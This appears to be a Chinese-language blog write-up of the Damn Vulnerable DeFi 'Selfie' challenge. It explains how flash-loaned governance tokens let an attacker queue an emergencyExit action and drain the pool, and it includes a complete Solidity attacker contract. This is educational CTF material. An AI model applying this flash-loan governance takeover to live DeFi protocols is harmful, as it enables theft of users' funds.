Challenge #6 - Selfie#
为了系统的学习 solidity 和 foundry,我基于 foundry 测试框架重新编写 damnvulnerable-defi 的题解,欢迎交流和共建~🎉
合约#
- SimpleGovernance:治理代币合约,实现 ISimpleGovernance 接口,可以预先设置 action,在两天后可以执行此 action
- SelfiePool:实现 IERC3156FlashLender,提供闪电贷,包括 ERC20Snapshot 和 SimpleGovernance 两种 token
测试#
- 部署 DamnValuableTokenSnapshot,SimpleGovernance 合约
- 部署 SelfiePool 合约,向 pool 中转入 token,数目为 TOKENS_IN_POOL
- 对 token 执行一次快照,当前 pool 中余额和最大供闪电贷额度均为 TOKENS_IN_POOL
- 执行攻击脚本
- 期望 player 账户 token 余额为 TOKENS_IN_POOL,pool 账户 token 余额为 0
题解#
本题的目的就是取走 pool 中的全部 token,在 pool 合约中有emergencyExit
函数
可以看到,只要满足onlyGovernance
条件,即可转走当前合约内的任意数目 token
function emergencyExit(address receiver) external onlyGovernance {
uint256 amount = token.balanceOf(address(this));
token.transfer(receiver, amount);
emit FundsDrained(receiver, amount);
}
onlyGovernance
要求调用方必须是SimpleGovernance
合约,我们又知道在SimpleGovernance
合约中提供了设置 action 和执行 action 的方法,在设置 action 的参数中就包括了 target 和 calldata 这样的合约调用参数
因此完整的调用流程如下所示:
首先通过调用攻击合约,实施闪电贷获得 goveranceToken,再去 SimpleGoverance 中记录一个 action,填入的目标方法就是调用 pool 的 emergencyExit
待两天后,通过主动执行 action 来转移出 pool 的全部 token
代码如下:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {SelfiePool, SimpleGovernance, DamnValuableTokenSnapshot} from "../../src/selfie/SelfiePool.sol";
import "openzeppelin-contracts/contracts/interfaces/IERC3156FlashBorrower.sol";
contract SelfiePoolAttacker is IERC3156FlashBorrower{
SelfiePool pool;
SimpleGovernance governance;
DamnValuableTokenSnapshot token;
address owner;
uint256 actionId;
constructor(address _pool, address _governance, address _token){
owner = msg.sender;
pool = SelfiePool(_pool);
governance = SimpleGovernance(_governance);
token = DamnValuableTokenSnapshot(_token);
}
function attack(uint256 amount) public {
// call flashloan
pool.flashLoan(IERC3156FlashBorrower(this), address(token), amount, "0x");
}
function onFlashLoan(
address initiator,
address _token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32){
// queue action
token.snapshot();
actionId = governance.queueAction(address(pool), 0, abi.encodeWithSignature("emergencyExit(address)", owner));
token.approve(address(pool), amount);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
function executeAction() public{
governance.executeAction(actionId);
}
}